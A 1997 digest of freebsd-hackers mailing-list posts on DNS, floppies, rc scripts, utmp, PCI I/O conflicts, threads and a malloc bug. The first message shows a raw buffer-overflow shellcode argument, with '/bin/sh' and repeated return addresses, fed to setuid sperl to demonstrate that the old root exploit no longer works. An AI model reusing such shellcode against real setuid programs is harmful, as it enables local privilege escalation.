Futile on Sep 15, 1997 06:30:43 +0200 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Existence is Futile wrote: > Someone posted a similar message earlier, but I never saw a reply (might > have been because the mailserver for this domain is Linux.. hehe). Then you didn't read very carefully. > Why does even the latest RELENG (that I've used) include sperl4.036? Because we have fixed all known security holes. > when > it's a well known way to get root? it came in handy today when some guy > couldn't su because he wasnt in the wheel group and couldn't login as root > any other way (being 45 minutes away). But, it's a serious security flaw! j@uriah 104% make sperl cc -O2 -m486 -pipe sperl.c -o sperl j@uriah 105% ./sperl #‰^ N Can't open perl script " 1Ò‰V‰V‰VsVx1À°; ‰ÊRQSPëwèØÿÿÿ/bin/sh````aaaabbbbcccccoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿^[[?1;2cïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ïoÕ¿ï": File name too long > Of course, this may have already been fixed and I'm just blowing hot air > all around, but its an old exploit and the august releng's at least > include it. Which August? I've fixed it on August 8, 1996 (although i've missed a few function calls originally). -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Mon Sep 15 00:22:10 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id AAA07787 for hackers-outgoing; Mon, 15 Sep 1997 00:22:10 -0700 (PDT) Received: from usr04.primenet.com (tlambert@usr04.primenet.com [206.165.6.204]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id AAA07775 for ; Mon, 15 Sep 1997 00:22:06 -0700 (PDT) Received: (from tlambert@localhost) by usr04.primenet.com (8.8.5/8.8.5) id AAA17272; Mon, 15 Sep 1997 00:21:57 -0700 (MST) From: Terry Lambert Message-Id: <199709150721.AAA17272@usr04.primenet.com> Subject: Re: Why not DNS (was: nfs startup - perhaps it is a problem) To: grog@lemis.com (Greg Lehey) Date: Mon, 15 Sep 1997 07:21:57 +0000 (GMT) Cc: kpneal@pobox.com, hackers@FreeBSD.ORG In-Reply-To: <19970915140722.43631@lemis.com> from "Greg Lehey" at Sep 15, 97 02:07:22 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > You don't want to set up a nameserver. > > No fair. We're talking about technical reasons here, not emotional ones. Because you are running a very small machine as your gateway: it has only 4M of RAM, and it netboots off another machine using "netboot" in an autoexec.bat file on a boot floppy. And there just isn't room for the pig. 8-) 8-). > It keeps your host names consistent across the local net? It caches > name server lookups across your slow Internet connection? I told you before: I don't want it caching non-local data. > named is your friend. If it were my friend, it's have a Motif front end to set it up, like all my other friends... 8-). Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Mon Sep 15 00:22:25 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id AAA07819 for hackers-outgoing; Mon, 15 Sep 1997 00:22:25 -0700 (PDT) Received: from freebie.lemis.com (gregl1.lnk.telstra.net [139.130.136.133]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id AAA07814 for ; Mon, 15 Sep 1997 00:22:19 -0700 (PDT) Received: (from grog@localhost) by freebie.lemis.com (8.8.7/8.8.5) id QAA07500; Mon, 15 Sep 1997 16:52:09 +0930 (CST) Message-ID: <19970915165209.18022@lemis.com> Date: Mon, 15 Sep 1997 16:52:09 +0930 From: Greg Lehey To: Joerg Wunsch Cc: hackers@FreeBSD.ORG Subject: Re: Do *you* have problems with floppies? References: <19970914142654.GG28248@uriah.heep.sax.de> <199709142144.OAA22143@usr09.primenet.com> <19970915082959.QR50985@uriah.heep.sax.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.81e In-Reply-To: <19970915082959.QR50985@uriah.heep.sax.de>; from J Wunsch on Mon, Sep 15, 1997 at 08:29:59AM +0200 Organisation: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8250 Fax: +61-8-8388-8250 Mobile: +61-41-739-7062 WWW-Home-Page: http://www.lemis.com/~grog Fight-Spam-Now: http://www.cauce.org Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Mon, Sep 15, 1997 at 08:29:59AM +0200, J Wunsch wrote: > As Terry Lambert wrote: > >> Actually... 0x42 READ TRACK does not check the sector number stored in >> the ID field. This could be a curse as well as a blessing; I don't >> know how it could deal with interleaved data. > > You apparently don't know much about this command at all. :-) Trust > me, i've been using it once (in CP/M), it's only useful as a debugging > tool, nothing else. I'm not too sure we're talking about the same command. It's been a while, but my recollection of READ TRACK was that it did just that: it started at the index pulse and returned everything that it could sync on until it got another index pulse, including gaps, flags, headers and all. I once used it for reading a floppy which had been written on a strange disk controller. All the gaps were filled with 1 bits instead of 0s (I can't remember exactly, it's been 18 years, but I seem to recall that the 1793 needed at least 6 bytes of 0 bits before a flag in order to be able to recognize it). It worked surprisingly well. Greg From owner-freebsd-hackers Mon Sep 15 00:22:41 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id AAA07860 for hackers-outgoing; Mon, 15 Sep 1997 00:22:41 -0700 (PDT) Received: from gnostic.cynic.net (gnostic.cynic.net [198.73.220.5]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id AAA07850 for ; Mon, 15 Sep 1997 00:22:37 -0700 (PDT) Received: from localhost ([[UNIX: localhost]]) by gnostic.cynic.net (8.8.5/8.6.12) with SMTP id AAA02864; Mon, 15 Sep 1997 00:22:00 -0700 (PDT) X-Authentication-Warning: gnostic.cynic.net: cjs owned process doing -bs Date: Mon, 15 Sep 1997 00:21:59 -0700 (PDT) From: Curt Sampson X-Sender: cjs@gnostic.cynic.net To: Brian Somers cc: Greg Lehey , freebsd-hackers@FreeBSD.ORG Subject: Re: rc & rc.conf In-Reply-To: <199709141135.MAA15300@awfulhak.demon.co.uk> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sun, 14 Sep 1997, Brian Somers wrote: > The problem is that with the "= YES" bit, if you accidently leave the > variable out of rc.conf (like I did), NO is assumed. With the "!= NO" > bit, you get the program run by default and have to specifically > disable it. I got around (to some degree) this sort of thing with the following function: # $NetBSD: rc.subr,v 1.2 1997/08/30 03:34:29 cjs Exp $ # functions used by various rc scripts # Test $1 variable, and warn if not set to YES or NO. checkyesno() { eval value=\$${1}; if [ "$value" = YES ]; then return 0; else if [ "$value" != NO ]; then logger -s "WARNING: \$${1} is not set properly." fi return 1; fi } cjs Curt Sampson cjs@portal.ca Info at http://www.portal.ca/ Internet Portal Services, Inc. `And malt does more than Milton can Vancouver, BC (604) 257-9400 To justify God's ways to man.' From owner-freebsd-hackers Mon Sep 15 00:23:53 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id AAA07951 for hackers-outgoing; Mon, 15 Sep 1997 00:23:53 -0700 (PDT) Received: from freebie.lemis.com (gregl1.lnk.telstra.net [139.130.136.133]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id AAA07937 for ; Mon, 15 Sep 1997 00:23:48 -0700 (PDT) Received: (from grog@localhost) by freebie.lemis.com (8.8.7/8.8.5) id QAA07512; Mon, 15 Sep 1997 16:53:39 +0930 (CST) Message-ID: <19970915165338.14706@lemis.com> Date: Mon, 15 Sep 1997 16:53:38 +0930 From: Greg Lehey To: Joerg Wunsch Cc: FreeBSD Hackers Subject: Re: Resolver broken? [Was:nfs startup - perhaps it is a problem] References: <199709142148.OAA22603@usr09.primenet.com> <199709150141.CAA26286@awfulhak.demon.co.uk> <19970915084314.IA03797@uriah.heep.sax.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.81e In-Reply-To: <19970915084314.IA03797@uriah.heep.sax.de>; from J Wunsch on Mon, Sep 15, 1997 at 08:43:14AM +0200 Organisation: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8250 Fax: +61-8-8388-8250 Mobile: +61-41-739-7062 WWW-Home-Page: http://www.lemis.com/~grog Fight-Spam-Now: http://www.cauce.org Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Mon, Sep 15, 1997 at 08:43:14AM +0200, J Wunsch wrote: > As Brian Somers wrote: > >> Does it help if you put entries with trailing dots in /etc/hosts ? >> >> 10.0.0.1 my.machine my >> 10.0.0.1 my.machine. my. > > I've once noticed that this did indeed help, yes. But in my case it > was sendmail that complained it didn't find the onw host. I forgot > the details, but i think the /etc/hosts part of the resolver library > is broken with this. Ah, yes, i remember: sendmail apparently tries > to lookup "${hostname}.", i.e. it calls gethostname(2), and appends a > dot to force DNS to not use the search order. The /etc/hosts part of > the resolver library cannot handle this unless the host is listed with > the trailing dot in /etc/hosts. I think this is a bug, and this part > of the resolver library should just remove a trailing dot, to be > (bug-)compatible to the DNS part. Been there, done that. I'd categorize this as a sendmail bug, however. There's nothing in the /etc/hosts world which suggests that a . at the end of a name is legal. Greg From owner-freebsd-hackers Mon Sep 15 00:24:05 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id AAA08006 for hackers-outgoing; Mon, 15 Sep 1997 00:24:05 -0700 (PDT) Received: from usr04.primenet.com (tlambert@usr04.primenet.com [206.165.6.204]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id AAA07997 for ; Mon, 15 Sep 1997 00:24:02 -0700 (PDT) Received: (from tlambert@localhost) by usr04.primenet.com (8.8.5/8.8.5) id AAA17342; Mon, 15 Sep 1997 00:23:55 -0700 (MST) From: Terry Lambert Message-Id: <199709150723.AAA17342@usr04.primenet.com> Subject: Re: Here's an interesting bug in our utmp handling. To: benedict@echonyc.com (Snob Art Genre) Date: Mon, 15 Sep 1997 07:23:55 +0000 (GMT) Cc: syssgm@dtir.qld.gov.au, freebsd-hackers@FreeBSD.ORG In-Reply-To: from "Snob Art Genre" at Sep 15, 97 01:11:06 am X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Agree. Not only have I never used it, I've never even heard of anyone > using it. Ok, come to think of it, I have used it, but only because I was > amazed that I could. :-) I used it in order to avoid having to redial a machine I was already connected to. I also used it to set my utmp name because I hated modifying all the remote machines ".rhosts" files and using "rlogin -l othername". Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Mon Sep 15 00:28:52 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id AAA08394 for hackers-outgoing; Mon, 15 Sep 1997 00:28:52 -0700 (PDT) Received: from usr04.primenet.com (tlambert@usr04.primenet.com [206.165.6.204]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id AAA08388 for ; Mon, 15 Sep 1997 00:28:50 -0700 (PDT) Received: (from tlambert@localhost) by usr04.primenet.com (8.8.5/8.8.5) id AAA17469; Mon, 15 Sep 1997 00:28:25 -0700 (MST) From: Terry Lambert Message-Id: <199709150728.AAA17469@usr04.primenet.com> Subject: Re: Why not DNS (was: nfs startup - perhaps it is a problem) To: grog@lemis.com (Greg Lehey) Date: Mon, 15 Sep 1997 07:28:25 +0000 (GMT) Cc: sthaug@nethelp.no, kpneal@pobox.com, hackers@FreeBSD.ORG In-Reply-To: <19970915154704.16731@lemis.com> from "Greg Lehey" at Sep 15, 97 03:47:04 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > - Likewise, it is sometimes convenient to *override* the names of > > hosts which are already in the DNS but not under my control. > > Hmmm. Can you explain what you mean here? Do you mean that you want > to remove all trace of the name? You can't do that and run any kind > of DNS, including remote nameds via resolv.conf. 127.0.0.1 localhost.xxx.yyy localhost mailhost.isp.com Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Mon Sep 15 00:55:21 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id AAA10173 for hackers-outgoing; Mon, 15 Sep 1997 00:55:21 -0700 (PDT) Received: from vipunen.hut.fi (root@vipunen.hut.fi [130.233.224.20]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id AAA10166 for ; Mon, 15 Sep 1997 00:55:17 -0700 (PDT) Received: from dol-guldur.hut.fi (will@dol-guldur.hut.fi [130.233.224.39]) by vipunen.hut.fi (8.8.7/8.8.7) with ESMTP id KAA42292 for ; Mon, 15 Sep 1997 10:55:06 +0300 Received: (will@localhost) by dol-guldur.hut.fi (8.8.3/8.6.7) id KAA18816; Mon, 15 Sep 1997 10:55:04 +0300 (EET DST) Date: Mon, 15 Sep 1997 10:55:04 +0300 (EET DST) Message-Id: <199709150755.KAA18816@dol-guldur.hut.fi> From: Ville-Pertti Keinonen To: freebsd-hackers@freebsd.org Subject: PCI device I/O mappings Reply-To: will@iki.fi Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I've had some problems (now "sort of" solved) getting the XFree86 3.3/3.3.1 S3-server to work simultaneously with an AHA-3985W RAID controller (used as a plain SCSI controller, of course). It appears that the problems were not caused by FreeBSD, perhaps it isn't all that relevant to this mailing list, but it could be fixed in the kernel. What I'm not quite certain about is what the correct solution would be... The relevant parts of my hardware configuration consist of a Soyo 5TH5 motherboard (430HX, Award BIOS) with two Pentium CPUs, a Diamond Stealth64 Video 3200 card (S3 968 + 2MB VRAM) and the AHA-3985W (a PCI-PCI bridge, three aic7870s and an aic7810). Various kernel versions and configurations behave differently: FreeBSD 2.2.2 kernel.GENERIC - ahc works, X doesn't. A kernel without an ahc driver, X works. FreeBSD 3.0 970815 kernel.GENERIC - ahc works, X doesn't. kernel.SMP-GENERIC - X works, ahc doesn't. An SMP kernel with interrupt numbers "manually" fixed (to fix APIC interrupts over the PCI bridge), ahc works, X doesn't... FreeBSD 3.0-current (at src-cur ctm 3046) Works like 970815-SNAP... When the XF86_S3-server was run the system would hang with a blank screen (-probeonly *did* work) with no panic visible (I used sio0 as the console). If the system was running off a SCSI-disk, a timeout error would appear, so there was *some* functionality left, but leaving a sleep+reboot or shutdown in the background didn't help, the reset button seemed the only way out... The system hang seemed to be independent of whether the SCSI adapter was actually being used. Being configured with the correct interrupts was enough to screw things up. After experimenting with the X server for a while (booting the machine lots of times) I found that the SCSI adapter (along with most other functionality in the system) stopped when a write to the PIX_TRANS (0xe2e8) register occurred. Looking at the verbose boot output from FreeBSD for the PCI devices found (piix junk excluded): found-> vendor=0x1011, dev=0x0001, revid=0x02 class=06-04-00, hdrtype=0x01, mfdev=0 chip2: rev 0x02 on pci0.14.0 Freeing (NOT implemented) redirected PCI irq 9. found-> vendor=0x5333, dev=0x88f0, revid=0x00 class=03-00-00, hdrtype=0x00, mfdev=0 intpin=a, irq=19 map[0]: type 1, range 32, base e0000000, size 25 vga0: rev 0x00 int a irq 19 on pci0.17.0 Probing for devices on PCI bus 1: Freeing (NOT implemented) redirected PCI irq 11. found-> vendor=0x9004, dev=0x7378, revid=0x03 class=01-00-00, hdrtype=0x00, mfdev=0 intpin=a, irq=16 map[0]: type 4, range 32, base 0000e000, size 8 map[1]: type 1, range 32, base d0000000, size 12 ahc0: rev 0x03 int a irq 16 on pci1.4.0 ahc0: Reading SEEPROM...done. low byte termination enabled, high byte termination enabled ahc0: aic7870 Wide Channel A, SCSI Id=7, 16 SCBs ahc0: Resetting Channel A ahc0: Downloading Sequencer Program...ahc0: 369 instructions downloaded Done ahc0: Probing channel A ahc0: waiting for scsi devices to settle scbus0 at ahc0 bus 0 Freeing (NOT implemented) redirected PCI irq 10. found-> vendor=0x9004, dev=0x1078, revid=0x00 class=05-80-00, hdrtype=0x00, mfdev=0 intpin=a, irq=17 map[0]: type 4, range 32, base 0000e100, size 8 map[1]: type 1, range 32, base d0001000, size 12 map[2]: type 3, range 32, base df000000, size 21 ahc1: rev 0x00 int a irq 17 on pci1.5.0 RAID functionality unsupported Freeing (NOT implemented) redirected PCI irq 11. found-> vendor=0x9004, dev=0x7378, revid=0x03 class=01-00-00, hdrtype=0x00, mfdev=0 intpin=a, irq=16 map[0]: type 4, range 32, base 0000e200, size 8 map[1]: type 1, range 32, base d0002000, size 12 ahc2: rev 0x03 int a irq 16 on pci1.8.0 using shared irq16. ahc2: Reading SEEPROM...done. low byte termination enabled, high byte termination enabled ahc2: aic7870 Wide Channel B, SCSI Id=7, 16 SCBs ahc2: Resetting Channel A ahc2: Downloading Sequencer Program...ahc2: 369 instructions downloaded Done ahc2: Probing channel A ahc2: waiting for scsi devices to settle scbus1 at ahc2 bus 0 ahc2: target 0 using 16Bit transfers ahc2: target 0 synchronous at 10.0MHz, offset = 0x8 sd0 at scbus1 target 0 lun 0 sd0: type 0 fixed SCSI 2 sd0: Direct-Access 4134MB (8467200 512 byte sectors) sd0: with 8205 cyls, 6 heads, and an average 171 sectors/track Freeing (NOT implemented) redirected PCI irq 11. found-> vendor=0x9004, dev=0x7378, revid=0x03 class=01-00-00, hdrtype=0x00, mfdev=0 intpin=a, irq=16 map[0]: type 4, range 32, base 0000e300, size 8 ahc3: rev 0x03 int a irq 16 on pci1.12.0 ahc3: Reading SEEPROM...done. low byte termination enabled, high byte termination enabled ahc3: aic7870 Wide Channel C, SCSI Id=7, 16 SCBs ahc3: Resetting Channel A ahc3: Downloading Sequencer Program...ahc3: 369 instructions downloaded Done ahc3: Probing channel A ahc3: waiting for scsi devices to settle scbus2 at ahc3 bus 0 PIX_TRANS is in ahc2's I/O space, no wonder it got confused. But isn't the S3 newmmio driver being used supposed to use memory mapped I/O? It does, except for the SET_PIX_TRANS_W and SET_PIX_TRANS_L macros (the latter is never used). I was able to get the X server to work by modifying the SET_PIX_TRANS_W macro to use memory mapped I/O in the newmmio driver and by disabling the check for some Trio32 bug which explicitly called s3ImageWriteNoMem. This obviously isn't the correct way to fix the problem, since it doesn't work for the generic driver. What is the real problem? Is it: - The S3 card not indicating use of I/O space? - The X server assuming knowledge of I/O registers? - The BIOS configuring the I/O space for PCI devices wrong? - The AHA-3985W requiring strange bits of I/O space? Or something else? What is the correct solution? (Should FreeBSD to know how to re-configure PCI devices?) From owner-freebsd-hackers Mon Sep 15 01:04:04 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id BAA10860 for hackers-outgoing; Mon, 15 Sep 1997 01:04:04 -0700 (PDT) Received: from freebie.lemis.com (gregl1.lnk.telstra.net [139.130.136.133]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id BAA10809 for ; Mon, 15 Sep 1997 01:03:59 -0700 (PDT) Received: (from grog@localhost) by freebie.lemis.com (8.8.7/8.8.5) id RAA07911; Mon, 15 Sep 1997 17:33:51 +0930 (CST) Message-ID: <19970915173350.16122@lemis.com> Date: Mon, 15 Sep 1997 17:33:51 +0930 From: Greg Lehey To: Terry Lambert Cc: Snob Art Genre , syssgm@dtir.qld.gov.au, freebsd-hackers@FreeBSD.ORG Subject: Re: Here's an interesting bug in our utmp handling. References: <199709150723.AAA17342@usr04.primenet.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.81e In-Reply-To: <199709150723.AAA17342@usr04.primenet.com>; from Terry Lambert on Mon, Sep 15, 1997 at 07:23:55AM +0000 Organisation: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8250 Fax: +61-8-8388-8250 Mobile: +61-41-739-7062 WWW-Home-Page: http://www.lemis.com/~grog Fight-Spam-Now: http://www.cauce.org Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Mon, Sep 15, 1997 at 07:23:55AM +0000, Terry Lambert wrote: >> Agree. Not only have I never used it, I've never even heard of anyone >> using it. Ok, come to think of it, I have used it, but only because I was >> amazed that I could. :-) > > I used it in order to avoid having to redial a machine I was already > connected to. Come to think of it, I'm pretty sure I've had trouble trying to do that on System V (testing a getty, IYWTK). I think it *did* do something like a revoke. Greg From owner-freebsd-hackers Mon Sep 15 02:04:54 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id CAA15871 for hackers-outgoing; Mon, 15 Sep 1997 02:04:54 -0700 (PDT) Received: from krusty.the.clown.engelska.se (nonxstnt@not.of.this.world.engelska.se [193.14.46.5]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id CAA15866 for ; Mon, 15 Sep 1997 02:04:49 -0700 (PDT) Received: from localhost (nonxstnt@localhost) by krusty.the.clown.engelska.se (8.8.7/8.8.7) with SMTP id KAA22739 for ; Mon, 15 Sep 1997 10:21:20 +0200 (CEST) Date: Mon, 15 Sep 1997 10:21:19 +0200 (CEST) From: Existence is Futile To: freebsd-hackers@freebsd.org Subject: sperl.. Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I guess I just assumed that it said the same version, that it would have the same exploit. Would have thought it'd been pushed up to 4.037 by the camel guys, but I guess I've fouled up this time :) or at least named 4.036b or something odd. Makes me feel better that someone else is security concious and awake instead of me. -- thomas stromberg . system admin @ Royal Institute of Technology, Stockholm nobody@darkening.com (nobody@EFnet), talk:nobody@krusty.the.clown.engelska.se From owner-freebsd-hackers Mon Sep 15 04:23:00 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id EAA22576 for hackers-outgoing; Mon, 15 Sep 1997 04:23:00 -0700 (PDT) Received: from freebsd1.cimlogic.com.au ([203.36.2.25]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id EAA22570; Mon, 15 Sep 1997 04:22:51 -0700 (PDT) Received: (from jb@localhost) by freebsd1.cimlogic.com.au (8.8.5/8.8.5) id VAA02342; Mon, 15 Sep 1997 21:24:14 GMT From: John Birrell Message-Id: <199709152124.VAA02342@freebsd1.cimlogic.com.au> Subject: Re: What is wrong with this snipet? In-Reply-To: <199709141527.KAA00185@dyson.iquest.net> from "John S. Dyson" at "Sep 14, 97 10:27:52 am" To: dyson@FreeBSD.ORG Date: Mon, 15 Sep 1997 21:24:13 +0000 (GMT) Cc: thorpej@nas.nasa.gov, freebsd-hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL31 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk John S. Dyson wrote: > We are going to be supporting a super efficient threads scheme that uses > the RFMEM capability. Sample code to use RFMEM is available upon request. > It is already being used in commercial multi-threaded applications, but > isn't ready for inclusion in FreeBSD (yet), due to a lack of more general > userland support. RFMEM supports full address space sharing in FreeBSD, > and it is a bug otherwise (whomever implemented it first.) Excuse my ignorance, I'm a bit out of touch, but is your RFMEM work in the kernel ready to support a threaded libc? If so, that is good news! > > -- > John > dyson@freebsd.org > jdyson@nc.com Regards, -- John Birrell - jb@cimlogic.com.au; jb@netbsd.org; jb@freebsd.org CIMlogic Pty Ltd, GPO Box 117A, Melbourne Vic 3001, Australia +61 418 353 137 From owner-freebsd-hackers Mon Sep 15 04:58:50 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id EAA24396 for hackers-outgoing; Mon, 15 Sep 1997 04:58:50 -0700 (PDT) Received: from plum.cyber.com.au (plum.cyber.com.au [203.7.155.24]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id EAA24389 for ; Mon, 15 Sep 1997 04:58:46 -0700 (PDT) Received: (from darrenr@localhost) by plum.cyber.com.au (8.6.12/8.6.6) id VAA10836 for hackers@freebsd.org; Mon, 15 Sep 1997 21:58:43 +1000 From: Darren Reed Message-Id: <199709151158.VAA10836@plum.cyber.com.au> Subject: I20 to cause problems for linux et al. (fwd) To: hackers@freebsd.org Date: Mon, 15 Sep 1997 21:58:43 +1000 (EST) X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk [From a friend...] > > i've been reading disturbing news that Intel's and Micro$oft's new PC Bus inititative > (Called I2O) has developer documentation which is available only with the payment > of hefty licence fees. Furthermore, developers have to promise not to release any > information on this interface, nor any source code for any drivers that they develop > fot I2O. Even if you can get information to write drivers, > you will be banned from distributing those drivers. This will wreak havoc on > free OSs like linux and freeBSD. > more information from: www.i2osig.org From owner-freebsd-hackers Mon Sep 15 05:20:23 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id FAA25430 for hackers-outgoing; Mon, 15 Sep 1997 05:20:23 -0700 (PDT) Received: from citadel.cdsec.com (citadel.cdsec.com [192.96.22.18]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id FAA25423; Mon, 15 Sep 1997 05:20:17 -0700 (PDT) Received: (from nobody@localhost) by citadel.cdsec.com (8.8.5/8.6.9) id OAA01565; Mon, 15 Sep 1997 14:24:49 +0200 (SAT) Received: by citadel via recvmail id 1532; Mon Sep 15 14:24:33 1997 by gram.cdsec.com (8.8.5/8.8.5) id NAA27754; Mon, 15 Sep 1997 13:51:14 +0200 (SAT) From: Graham Wheeler Message-Id: <199709151151.NAA27754@cdsec.com> Subject: Re: Memory leak in getservbyXXX? To: julian@whistle.com (Julian Elischer) Date: Mon, 15 Sep 1997 13:51:14 +0200 (SAT) Cc: hackers@freebsd.org, freebsd-bugs@freebsd.org In-Reply-To: <3419A0D8.7DE14518@whistle.com> from "Julian Elischer" at Sep 12, 97 01:06:48 pm X-Mailer: ELM [version 2.4 PL25-h4.1] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > Mike Smith wrote: > > > > > > If it's a memory leak then it sounds like it's inside the stdio > > > > library, possibly in fopen()/fclose(). Without more data it's going to > > > > be hard to track this one. > > > > > > Tell me about it 8-( > > > > > > It does seem like a memory leak, as the memory use reported by top grows > > > over time. I have memory allocation debugging code which confirms that > > > I have no leaks in my code (at least of C++ objects), and the fact that > > > older sites have been running for months seems to confirm this. > > > > OK. More to the point then it sounds like it's a memory leak due to > > some change in stdio. That's getting slightly easier to chase I > > they aren't using the threaded libc are they? How would I know this? I'm not explicitly saying which; just doing a normal link. I have a static, a shared, and a profiled libc in /usr/lib. Does the threaded libc have a different name, or is it now the default, or does it depend on how libc is compiled? Incidentally, going back to the original problem: I now have about 15 core dumps. Two happened when the program itself dumped the core, the rest were caused by sending SIGABRTs after the program started spinning. These are all after I added the setservent(1) call at the start, so they no longer happen in getservbyXXX. However, in each case the stack backtrace ends in malloc or free. I also have every `new' followed by an assert, and have set the D, A and Z options to malloc; none of these have made a difference. So I'm starting to believe that the problem is heap corruption rather than heap exhaustion, so tools like mprof are probably not much use. It's interesting though that this only happens with 2.2.2, and not under 2.1.0; mayhap it's a problem with gcc somewhere. regards graham -- Dr Graham Wheeler E-mail: gram@cdsec.com Citadel Data Security Phone: +27(21)23-6065/6/7 Internet/Intranet Network Specialists Mobile: +27(83)-253-9864 Firewalls/Virtual Private Networks Fax: +27(21)24-3656 Data Security Products WWW: 